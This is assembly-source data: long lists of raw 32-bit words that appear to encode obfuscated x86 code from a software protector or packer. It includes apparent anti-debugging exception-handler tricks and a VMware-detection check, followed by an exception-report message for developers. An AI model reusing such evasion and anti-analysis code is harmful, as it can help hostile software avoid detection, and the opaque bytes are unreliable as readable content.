		dd 4244481h, 1Bh, 8C35545h, 0E4465F08h,	8096C5C8h, 95076C2h
		dd 2C344D9Dh, 995FF06h,	8B062C16h, 0EC981CFh, 837F2297h
		dd 800F10C4h, 2, 0C08B5BB6h, 0BD83E88Ah, 62C1D65h, 83097500h
		dd 2C23D9BDh, 19740006h, 0C08B5350h, 7D3B8h, 91858900h
		dd 8D062C06h, 2EB16C9Dh, 5BD3FF06h, 0D9BD8358h,	62C23h
		dd 53501774h, 7D3B8h, 91858900h, 8D062C06h, 2EAE5B9Dh
		dd 5BD3FF06h, 11E958h, 67030000h, 0EBE563A7h, 597542B4h
		dd 0F04BBB97h, 0BF2727C2h, 2B0C4032h, 8B66C08Bh, 71BD81F9h
		dd 6F062EFBh, 0F616572h, 0AA84h, 2DB58900h, 0F062C0Dh
		dd 858DF9BFh, 62EFBE9h,	26858D50h, 50062EFDh, 0FD47858Dh
		dd 0FF50062Eh, 2C160995h, 0CC48306h, 21AD85C6h,	6844062Ch
		dd 96A3184Fh, 1671B5FFh, 858D062Ch, 62C3A0Ch, 0D88BD0FFh
		dd 0FD47858Dh, 0FF50062Eh, 71858DD3h, 50062EFBh, 0FBE9858Dh
		dd 8350062Eh, 2C00EDBDh, 8740006h, 0FD0F858Dh, 6EB062Eh
		dd 0FCF8858Dh, 8D50062Eh, 2EFD4785h, 95FF5006h,	62C1609h
		dd 0E910C483h, 5, 0E325956h, 18880FFFh,	0E8000000h, 0Ch
		dd 0CCCC6300h, 507EE667h, 980CF291h, 244D958Bh,	0FF5A062Ch
		dd 2C012595h, 56BF6606h, 0FF251Eh, 95890000h, 62C2421h
		dd 0F05F883h, 4883h, 753DBF00h,	85C731ADh, 62C0F21h, 1
		dd 1605958Bh, 890F062Ch, 16h, 0EE8h, 0D3725700h, 63E172CDh
		dd 543855BFh, 8B864F52h, 858D5AFEh, 62EFBA5h, 12FD8D8Bh
		dd 4FE9062Ch, 89000000h, 2C0CF59Dh, 0EDBD8306h,	62C00h
		dd 30840Fh, 85890000h, 62C06ADh, 0FBD0858Dh, 0BD8B062Eh
		dd 62C13E1h, 25E9h, 14E900h, 8E6F0000h,	851BD380h, 0E4836CBEh
		dd 0FF5EC337h, 770F51DEh, 858DC96Dh, 62EFBB2h, 5E5958Bh
		dd 8589062Ch, 62EFBE5h,	0ACC98166h, 0B98D8B93h,	83062C24h
		dd 2C00EDBDh, 850F0006h, 3Ch, 4DBD2960h, 81062C14h, 479285E6h
		dd 0BD836109h, 62F0B6Ch, 2C840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3E2DC350h, 79CF6D75h, 123DE9h, 0F1BD8B00h, 0E9062C15h
		dd 51Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	31C35242h, 0C1BD8B2Ah, 8B062C04h, 8DBD03C0h, 83062C05h
		dd 2C1D65BDh, 9750006h,	23D9BD83h, 7400062Ch, 8B535019h
		dd 7D4B8C0h, 85890000h,	62C0691h, 0B16C9D8Dh, 0D3FF062Eh
		dd 0BD83585Bh, 62C23D9h, 50177400h, 7D4B853h, 85890000h
		dd 62C0691h, 0AE5B9D8Dh, 0D3FF062Eh, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0CF4993C3h
		dd 816677A5h, 0F5A4BAF2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F3C35747h, 4CAC48AEh, 3351DA35h, 8E8h
		dd 0BC858100h, 0D0E5C691h, 7E881h, 0FC680000h, 0BB9F644Dh
		dd 0E95F5AF3h, 14h, 17321BFh, 4617C52Bh, 736375ECh, 91435F2Bh
		dd 9457BB83h, 0D08BC08Bh, 0F003F68h, 8B006A00h,	2C0E0995h
		dd 60006A06h, 7EBE6652h, 0D9815905h, 2A9B7780h,	2D958B61h
		dd 0FF062C0Bh, 2C311195h, 0DD8D3106h, 85062C2Bh, 0C850FC0h
		dd 0F000000h, 68Bh, 19958B00h, 89062C2Ah, 2EFB6985h, 198A0F06h
		dd 0E9000000h, 14h, 0ED3C3A80h,	842DE3A1h, 654EF3C2h, 14CB4027h
		dd 116916Ch, 6AF9006Ah,	0A58D8900h, 6A062C18h, 48B0F00h
		dd 66000000h, 6A896DBAh, 4C18100h, 6A25BA1Eh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 294595F2h, 2C336D95h, 47858D06h, 8B062EFDh, 2C10D18Dh
		dd 6A5006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 1DBBF1C3h, 3E1D2306h, 16A1765h, 38B0Fh, 8B660000h
		dd 658589CEh, 6A062C1Ah, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2DE624A6h, 0BC4B97E9h
		dd 3850F7Fh, 0F000000h,	9E9C9B7h, 0D6000000h, 39FBAE64h
		dd 0E2D20359h, 6A016Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 736670C3h, 0DC81A85Ch, 0B8E98080h
		dd 0F01FF68h, 51952900h, 83062C2Ch, 2C00EDBDh, 840F0006h
		dd 1Fh,	101D8589h, 8DF8062Ch, 2EFBC685h, 0E934B106h, 1Dh
		dd 6E9h, 0B4306000h, 8D05D971h,	2EFB9C85h, 59958B06h, 8B062C1Eh
		dd 2C09B995h, 8D8B5006h, 62C10D1h, 6E950h, 9BFF0000h, 91C7BA47h
		dd 0BD8B505Ah, 62C0805h, 0FB69B5FFh, 6A062Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F66B4C3h
		dd 64B51432h, 0F6F0287h, 1280h,	7E800h,	23E60000h, 0D89CAA3Dh
		dd 0D0E9B9F3h, 605F7FBAh, 1D0BF0Fh, 2C019D8Dh, 95FF6106h
		dd 62EFB55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0ABC35747h, 70706B1Fh, 0FC0854Fh, 3585h, 7E900h
		dd 0ABAA0000h, 11B28C7Ah, 7FE932h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0AC7527C3h
		dd 0F5F52F6Bh, 858914C3h, 62EFB6Dh, 0AE9h, 864EE200h, 941881CCh
		dd 0E911D0D5h, 9, 90B3F3DDh, 6CA16C44h,	6DB5FF8Ch, 33062EFBh
		dd 2C08F195h, 0C595FF06h, 8B062C21h, 0FC085F8h,	1C85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 52106A5Eh, 0B8247DB9h, 0BD835A7Eh, 62C00EDh
		dd 39840F00h, 89000000h, 2C131D95h, 0C6858D06h,	6A062EFBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E976C355h, 17h, 6FDBD01h, 8D8B062Ch, 62C20C1h
		dd 0FB9C858Dh, 8166062Eh, 504044DAh, 0B5FF5950h, 62EFB69h
		dd 0CB5BD89h, 95FF062Ch, 62EFB61h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0B8C35747h,	37556C58h, 8581234Ah
		dd 6850FC0h, 29000000h,	2C13799Dh, 6D858906h, 8B062EFBh
		dd 2C26C1BDh, 31006A06h, 2C21F9B5h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0CF59C356h, 160ADB5h, 2C0B45BDh, 0D99D3106h,	61062C22h
		dd 0FB6DB5FFh, 6A062Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8AE8D7C3h, 5995FFD4h, 0B5062EFBh
		dd 0BD958BD6h, 85062C19h, 1850FC0h, 0F9000000h,	0FB6DB5FFh
		dd 8B53062Eh, 2C10898Dh, 95FF5F06h, 62C21C5h, 860Fh, 0C0850000h
		dd 1C850Fh, 10E80000h, 7B000000h, 17F8BB16h, 49513003h
		dd 78900CDh, 2977BBE3h,	2C2C4D8Dh, 6A5906h, 0FFBF0F60h
		dd 0AE9h, 886AC900h, 4C995160h,	61E8AB70h, 8068h, 6810F00h
		dd 89000000h, 2C06A58Dh, 60036A06h, 0A31B50Bh, 0BD03062Ch
		dd 62C0999h, 0F9006A61h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h
		dd 0D573B5C3h, 60FF45A5h, 0EFFCEB81h, 890F5B8Dh, 0
		dd 6861h, 6AC000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 46A186C3h, 6813ED46h, 81952BC7h
		dd 0FF062C1Ah, 2EFBE5B5h, 12E806h, 83D60000h, 87855A56h
		dd 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h, 0B55FD4B2h, 6D95FF44h
		dd 53062C13h, 5E8h, 2811C800h, 0D78B8A2Ah, 0F8835F59h
		dd 0E0850FFFh, 89000004h, 2C269985h, 5385FF06h,	2B062F06h
		dd 2C0D4995h, 53BD8306h, 2062F06h, 3B4840Fh, 0EE90000h
		dd 0F4000000h, 0E7008B23h, 9E7E6C4Bh, 154457EBh, 3B858D16h
		dd 0E9005B24h, 12h, 1B767E14h, 9D31281Eh, 6D11A745h, 0CC29EAB3h
		dd 0D0FF2332h, 8DCF8B66h, 5B1E8E85h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 3C24A44Bh
		dd 0D0FF9F57h, 0EF816653h, 8B5F50D6h, 2870FC0h,	8A000000h
		dd 65BD83D7h, 62C1Dh, 0BD830975h, 62C23D9h, 50197400h
		dd 0B8C08B53h, 7D8h, 6918589h, 9D8D062Ch, 62EB16Ch, 585BD3FFh
		dd 23D9BD83h, 7400062Ch, 0B8535017h, 7D8h, 6918589h, 9D8D062Ch
		dd 62EAE5Bh, 585BD3FFh,	1DB18D33h, 8D0F062Ch, 4, 83F1BA66h
		dd 0BD8BC08Bh, 62C049Dh, 0F003F68h, 0CBE68000h,	8D89006Ah
		dd 62C1A65h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0C158D3C3h, 605A5614h, 8967C280h
		dd 2C0B19BDh, 95FF6106h, 62C3111h, 8C58D89h, 0C085062Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BC35646h
		dd 2559CF81h, 85891940h, 62EFB69h, 1BA5BD03h, 0FF68062Ch
		dd 60000F01h, 11B19529h, 0E961062Ch, 5,	0AB4E81AAh, 0EDBD83BEh
		dd 62C00h, 1C840Fh, 0A7B90000h,	8D5E1254h, 2EFBC685h, 1958906h
		dd 0E9062C0Ah, 2Fh, 2DF5BD01h, 858D062Ch, 62EFB9Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9C35343h, 7D4BE69Ah
		dd 50D78B7Bh, 66D2BF0Fh, 0FF0942B9h, 2EFB69B5h,	0F1958906h
		dd 0F062C0Dh, 0C89h, 68C0F00h, 89000000h, 2C1C4D85h, 6195FF06h
		dd 66062EFBh, 897A6EBFh, 2EFB6D85h, 2D958906h, 0C7062C0Fh
		dd 2C0FE585h, 6, 5860F00h, 0BF000000h, 178670B8h, 0FB6DBD83h
		dd 0F00062Eh, 19B84h, 0FE8B6600h, 0FE4B858Dh, 0BD29062Eh
		dd 62C0FC1h, 52006A50h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 6C98F7FDh, 1E5BDF95h, 16AFBE8h, 1E519523h
		dd 0B5FF062Ch, 62EFB6Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 73C35646h, 0E196B9E1h, 14E8305Dh, 9E000000h
		dd 8FBE261Ah, 0CD7CA9ABh, 58FC6515h, 63D328A0h,	94F2E71h
		dd 2C1C69BDh, 95FF5906h, 62EFB65h, 7E8h, 9015F600h, 87101576h
		dd 1AF5BD8Bh, 0FF5F062Ch, 2EFB6DB5h, 10E906h, 78890000h
		dd 9F7F7CF3h, 0FC920A2Ch, 0E22BF8DFh, 95FFB794h, 62C21C5h
		dd 33BD9523h, 0BD89062Ch, 62C1D0Dh, 0F01FF68h, 0BD83F500h
		dd 62C00EDh, 38840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C48BC351h
		dd 0B091FE2Bh, 2D423CC1h, 0FBC6858Dh, 9589062Eh, 62C0719h
		dd 1CE9h, 8DD68B00h, 2EFB9C85h,	8810F06h, 51000000h, 21398D8Bh
		dd 815F062Ch, 68530ED2h, 0F281500Bh, 70FFB3B8h,	0FB69B5FFh
		dd 958B062Eh, 62C2D3Dh,	0FB6195FFh, 0B589062Eh,	62C046Dh
		dd 0FB6D8589h, 8B66062Eh, 0EE9CFh, 0D8BE0000h, 0FEE6E775h
		dd 78355A26h, 451458Fh,	0FB6DB5FFh, 8D89062Eh, 62C0781h
		dd 0FB5D95FFh, 0FA8B062Eh, 93D68057h, 6DB5FF5Fh, 29062EFBh
		dd 2C2359B5h, 0C595FF06h, 0BF062C21h, 5CA67DB9h, 0FFF65EE9h
		dd 0B5FFF8FFh, 62F06B6h, 1FFD9589h, 95FF062Ch, 62C15F5h
		dd 6870Fh, 95010000h, 62C0889h,	232D858Bh, 0F88B062Ch
		dd 9E9h, 0D966A600h, 3B26919Ch,	2CE96FBBh, 8B000006h, 6BB58DD0h
		dd 89062EFEh, 2C13C9BDh, 32858D06h, 29062EABh, 2C22B1BDh
		dd 0FD0FF06h, 1389h, 0EE900h, 0FFCB0000h, 9573F525h, 0A3FCD63Ch
		dd 388A2DC1h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0F5F0B4C3h, 50638E50h, 18F98D8Bh
		dd 0E95F062Ch, 0Dh, 0EE9D268h, 33C10E4h, 927DC0C7h, 195FF05h
		dd 0BA062C24h, 5178DFB1h, 9589F38Bh, 62C1405h, 8DC8BF0Fh
		dd 2EAB3285h, 0B5BD3306h, 8B062C19h, 2C04F58Dh,	6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0DA0EC351h, 0D981F860h, 13F809CEh, 0BF006A61h
		dd 30E03D63h, 240195FFh, 8166062Ch, 8B83BDC1h, 88B0FC0h
		dd 57000000h, 0A322EF81h, 835A1764h, 2C1D65BDh,	9750006h
		dd 23D9BD83h, 7400062Ch, 8B535019h, 7D9B8C0h, 85890000h
		dd 62C0691h, 0B16C9D8Dh, 0D3FF062Eh, 0BD83585Bh, 62C23D9h
		dd 50177400h, 7D9B853h,	85890000h, 62C0691h, 0AE5B9D8Dh
		dd 0D3FF062Eh, 8E8585Bh, 64000000h, 772D9CF5h, 8B6070FBh
		dd 2C33D195h, 0B5315A06h, 62C024Dh, 8BCBB70Fh, 95B589C0h
		dd 50062C1Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0A5C35141h, 89B2D580h, 2C0E1995h, 0F5D88B06h, 2C45BD89h
		dd 8D53062Ch, 2C0BDD9Dh, 89038B06h, 50438B03h, 8D504389h
		dd 2F064F9Dh, 89038B06h, 8B665B03h, 6F0AB9D7h, 14E91E15h
		dd 91000000h, 3A705567h, 8239F28Ch, 943AA8EFh, 871C084Fh
		dd 6AE00A8Ah, 0B9958B00h, 8D062C00h, 2F064F85h,	0AE906h
		dd 0C21C0000h, 0C9AA389Bh, 0EA8D4A41h, 606AFC50h, 2595BD8Bh
		dd 858D062Ch, 62C0BDDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 18C35343h, 0A258D8Bh,	0BA50062Ch, 3EBBE6ECh
		dd 9E9006Ah, 0A3000000h, 0B8AE2369h, 114CE839h,	840F006Ah
		dd 1Fh,	13E8h, 0DCDC9D00h, 5F0641EDh, 391406B4h, 85A922CCh
		dd 0E1A13BD4h, 18CD9D29h, 685A062Ch, 1800h, 86E6BA66h
		dd 13E853h, 50000000h, 67039C63h, 0EBE563A7h, 597542B4h
		dd 0F04BBB97h, 0D1B70FC2h, 0F195FF59h, 89062C2Bh, 2C1B8D9Dh
		dd 7995FF06h, 6A062C04h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 6E61C350h, 37349FD7h
		dd 2A2AC893h, 6B6B5FFh,	8D2B062Fh, 62C1C59h, 15F595FFh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C15688C3h, 8F60FEAh, 830F95EDh, 0
		dd 0BDD858Dh, 0BF66062Ch, 408BD82Eh, 818D8B18h,	8B062C0Fh
		dd 2C162995h, 5585C706h, 62C05h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8422C356h
		dd 58C8E109h, 0BD83E69Ch, 62C00EDh, 38840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FFA7C356h, 208DB501h, 8C3D062Ch,	0F000000h
		dd 19783h, 2EE900h, 81660000h, 3D4086F2h, 98h, 182830Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 30496AC3h, 243B858Dh, 958B005Bh, 62C2271h
		dd 1F5D0FFh, 2C06B5BDh,	8E858D06h, 66005B1Eh, 0FF1115BAh
		dd 0D2B70FD0h, 6E9C08Bh, 0AB000000h, 0C5923D1Bh, 65BD83E8h
		dd 62C1Dh, 0BD830975h, 62C23D9h, 50197400h, 0B8C08B53h
		dd 0BC6h, 6918589h, 9D8D062Ch, 62EB16Ch, 585BD3FFh, 23D9BD83h
		dd 7400062Ch, 0B8535017h, 0BC6h, 6918589h, 9D8D062Ch, 62EAE5Bh
		dd 585BD3FFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	64C35040h, 1002EE54h, 6AC8EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 68AC24C3h
		dd 0BA667A16h, 0C08B0AACh, 11E8h, 0C5398F00h, 8F9E7A0Dh
		dd 0A54C3C8Bh, 7601A456h, 835AA914h, 850FFFF8h,	66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 53C35242h, 218D8D8Bh
		dd 85C7062Ch, 62C2D0Dh,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1CC35646h
		dd 1FA9CC2Eh, 6DB58959h, 0E9062C00h, 13Ah, 0E9FFBF0Fh
		dd 1Bh,	1A758501h, 0F883062Ch, 0C850F01h, 0FC000000h, 13AE9h
		dd 258D3100h, 0E9062C20h, 0FFFFF127h, 0ED80C08Bh, 219D29ABh
		dd 83062C16h, 2C1D65BDh, 9750006h, 23D9BD83h, 7400062Ch
		dd 8B535019h, 7DDB8C0h,	85890000h, 62C0691h, 0B16C9D8Dh
		dd 0D3FF062Eh, 0BD83585Bh, 62C23D9h, 50177400h,	7DDB853h
		dd 85890000h, 62C0691h,	0AE5B9D8Dh, 0D3FF062Eh,	0EC8A585Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EDC35747h
		dd 0FA95B9BCh, 9D8D2905h, 0E9062C14h, 7, 0EB23947Eh, 8B29611Ah
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0E2585E32h, 0D4B16EF3h, 0F28180B7h, 1B775D47h
		dd 6870Fh, 958B0000h, 62C3125h,	26DE9h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 24F922BCh, 0EE833h, 0D9340000h, 14536AE2h, 70B97194h
		dd 0AAAE259Eh, 0CE8h, 0DDB4EC00h, 0A0668F43h, 8080E576h
		dd 0A6F580D5h, 858D5A5Ah, 62F0453h, 1A1D9D29h, 8589062Ch
		dd 62F064Bh, 51E9h, 3D8D8B00h, 8D062C19h, 2F025B85h, 9FBA6606h
		dd 6A40ADh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 14A879C3h, 0DAED976Bh, 1D8D8BD9h,	89062C0Ah
		dd 2F064B85h, 0CE906h, 0B6740000h, 73577068h, 13ACDDFFh
		dd 346A87D9h, 26C5858Dh, 0FF50062Ch, 2F064BB5h,	0FF006A06h
		dd 2C143595h, 7F88306h,	168840Fh, 8C660000h, 4C3F6DBh
		dd 102850Fh, 85C60000h,	62C21ADh, 0B8526856h, 0B5FF9CA8h
		dd 62C1671h, 3A0C858Dh,	0D0FF062Ch, 68046Ah, 6A000010h
		dd 0FF006A64h, 0BE8589D0h, 0C6062F06h, 2C21AD85h, 9B684706h
		dd 0FFEC18ACh, 2C1671B5h, 0C858D06h, 0FF062C3Ah, 8BD0FFD0h
		dd 0AD85C6F0h, 4F062C21h, 2F266168h, 41B5FFC6h,	8D062C0Bh
		dd 2C3A0C85h, 8DD0FF06h, 2F06BA9Dh, 286A5306h, 85D0FF56h
		dd 0C60075C0h, 2C21AD85h, 98684106h, 0FFDB8764h, 2C0B41B5h
		dd 0C858D06h, 0FF062C3Ah, 0D78589D0h, 0C6062F06h, 2C21AD85h
		dd 0A4684C06h, 0FF80A4E7h, 2C0B41B5h, 0C858D06h, 0FF062C3Ah
		dd 0BE9D8BD0h, 8D062F06h, 8D53045Bh, 2F06C39Dh,	6A5306h
		dd 9D8BD0FFh, 62F06BEh,	103C7h,	43C70000h, 20Ch, 2D9D8B00h
		dd 0C7062C0Ah, 2C33D985h, 6, 6A006A00h,	8B006A00h, 2F06BE9Dh
		dd 6A5306h, 6BAB5FFh, 95FF062Fh, 62F06D7h, 21AD85C6h, 6845062Ch
		dd 92A5F797h, 25C9B5FFh, 858D062Ch, 62C3A0Ch, 6AD0FFh
		dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 6BE9D8Bh,	43C7062Fh
		dd 0Ch,	6A006A00h, 0BE9D8B00h, 53062F06h, 0B5FF006Ah, 62F06BAh
		dd 6D795FFh, 0B5FF062Fh, 62F06BAh, 47995FFh, 6A062Ch, 240195FFh
		dd 8E0F062Ch, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 4C20BEF1h, 119D89h, 858D062Ch
		dd 62F3B2Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	56C35242h, 38278D89h, 75952B50h, 64062C20h, 35FFh
		dd 95030000h, 62C080Dh,	258964h, 8A000000h, 0A1BD83EFh
		dd 62C29h, 90840Fh, 6E90000h, 54000000h, 47C710D5h, 0A1BD8326h
		dd 1062C09h, 78850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 9F82DC3h, 2FB9C6DDh
		dd 5752D213h, 0F75B589h, 8B5A062Ch, 2C2B9995h, 0D7BD8006h
		dd 62F0Ah, 38850Fh, 0BE90000h, 0B6000000h, 5D36C0BAh, 7B539F8Ch
		dd 94E9937Eh, 0F000001h, 1D82h,	12E800h, 873A0000h, 0C0D31788h
		dd 1A36C789h, 3465DDCEh, 82F96845h, 6E66C4BAh, 0DB335A21h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CDC35747h
		dd 78AB6022h, 0F8C460B5h, 8D09C033h, 62C06E1h, 73F0F40h
		dd 58F640Bh, 0
		dd 6A04C483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2E47C356h, 69958B50h, 5F062C1Dh
		dd 13A1B589h, 0FE8062Ch, 0D1000000h, 0C44CCD5Dh, 226F139Ah
		dd 620DBD7Ah, 66605B47h, 61F9D68Bh, 0FFFB8359h,	23840Fh
		dd 0DE80000h, 9E000000h, 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh
		dd 1AC1E181h, 0E95F2751h, 0BDh,	0DCBBB3BAh, 6AE914h, 0CA8B0000h
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 2F3B4CEDh, 0B8838B06h
		dd 8D000000h, 2F3BE585h, 0B8838906h, 5D000000h,	8BC3C033h
		dd 2C0595BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0F38255E9h, 6DC87C8Eh, 3B42858Dh
		dd 8D89062Fh, 62C1BA5h,	35FF6450h, 0
		dd 258964h, 8B000000h, 8CBF66FAh, 0AB9FAh, 4B80000h, 54855D7h
		dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h
		dd 68FB81EDh, 75564D58h, 0F185C70Ah, 1062C2Ch, 64000000h
		dd 58Fh, 0C4830000h, 0E9816604h, 8D332115h, 62C21F9h, 8166C08Bh
		dd 836797EFh, 2C1D65BDh, 9750006h, 23D9BD83h, 7400062Ch
		dd 8B535019h, 43DB8C0h,	85890000h, 62C343Dh, 0B1D39D8Dh
		dd 0D3FF062Eh, 0BD83585Bh, 62C23D9h, 50177400h,	43DB853h
		dd 85890000h, 62C343Dh,	0AE749D8Dh, 0D3FF062Eh,	8589585Bh
		dd 62C2645h, 0BDFFE281h, 0C08B734Eh, 147E9h, 400h, 392E3100h
		dd 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 14F9BD83h, 0F00062Ch
		dd 12D84h, 8B858D00h, 50062EACh, 0ABF5858Dh, 6850062Eh
		dd 80000001h, 0AC9B95FFh, 858D062Eh, 62F3C5Fh, 69858D50h
		dd 50062F3Ch, 6A006Ah, 0AC09858Dh, 0FF50062Eh, 2EAC8BB5h
		dd 3995FF06h, 8D062C2Dh, 2F3C5F85h, 858D5006h, 62F3C6Dh
		dd 6A006A50h, 1B858D00h, 50062EACh, 0AC8BB5FFh,	95FF062Eh
		dd 62C2D39h, 3C5F858Dh,	8D50062Fh, 2F3C7985h, 6A5006h
		dd 858D006Ah, 62EAC68h,	8BB5FF50h, 0FF062EACh, 2C2D3995h
		dd 5F858D06h, 50062F3Ch, 3C81858Dh, 6A50062Fh, 8D006A00h
		dd 2EAC8685h, 0B5FF5006h, 62EAC8Bh, 2D3995FFh, 858D062Ch
		dd 62F3C5Fh, 7D858D50h,	50062F3Ch, 6A006Ah, 0AC6F858Dh
		dd 0FF50062Eh, 2EAC8BB5h, 3995FF06h, 8D062C2Dh,	2F3C5F85h
		dd 858D5006h, 62F3C71h,	6A006A50h, 77858D00h, 50062EACh
		dd 0AC8BB5FFh, 95FF062Eh, 62C2D39h, 3C5F858Dh, 8D50062Fh
		dd 2F3C7585h, 6A5006h, 858D006Ah, 62EAC7Eh, 8BB5FF50h
		dd 0FF062EACh, 2C2D3995h, 8BB5FF06h, 0FF062EACh, 2C04CD95h
		dd 0A2E906h, 0BD830000h, 62C340Dh, 95840F00h, 83000000h
		dd 2C09A1BDh, 850F0006h, 11h, 1195958Bh, 0C281062Ch, 1CF8h
		dd 0FE9h, 0DD958D00h, 8B062C0Bh, 0C2813452h, 3BD4C340h
		dd 66D9589h, 0BD83062Ch, 62C066Dh, 55840F00h, 8B000000h
		dd 2C066D9Dh, 4CC38306h, 8589038Bh, 62F3C69h, 66D9D8Bh
		dd 0C383062Ch, 89038B50h, 2F3C6D85h, 6D9D8B06h,	83062C06h
		dd 38B54C3h, 3C798589h,	9D8B062Fh, 62C066Dh, 8B58C383h
		dd 7D858903h, 8B062F3Ch, 2C066D9Dh, 5CC38306h, 8589038Bh
		dd 62F3C71h, 14F9BD83h,	0F00062Ch, 0D85h, 0DBD8300h, 62C34h
		dd 68840Fh, 0B5FF0000h,	62F3C81h, 3C75B5FFh, 0B5FF062Fh
		dd 62F3C71h, 3C7DB5FFh,	0B5FF062Fh, 62F3C79h, 3C6DB5FFh
		dd 0B5FF062Fh, 62F3C69h, 3C63858Dh, 8D50062Fh, 2F3C9B85h
		dd 858D5006h, 62C1679h,	995FF50h, 83062C16h, 406A24C4h
		dd 3C85858Dh, 8D50062Fh, 2C167985h, 6A5006h, 143595FFh
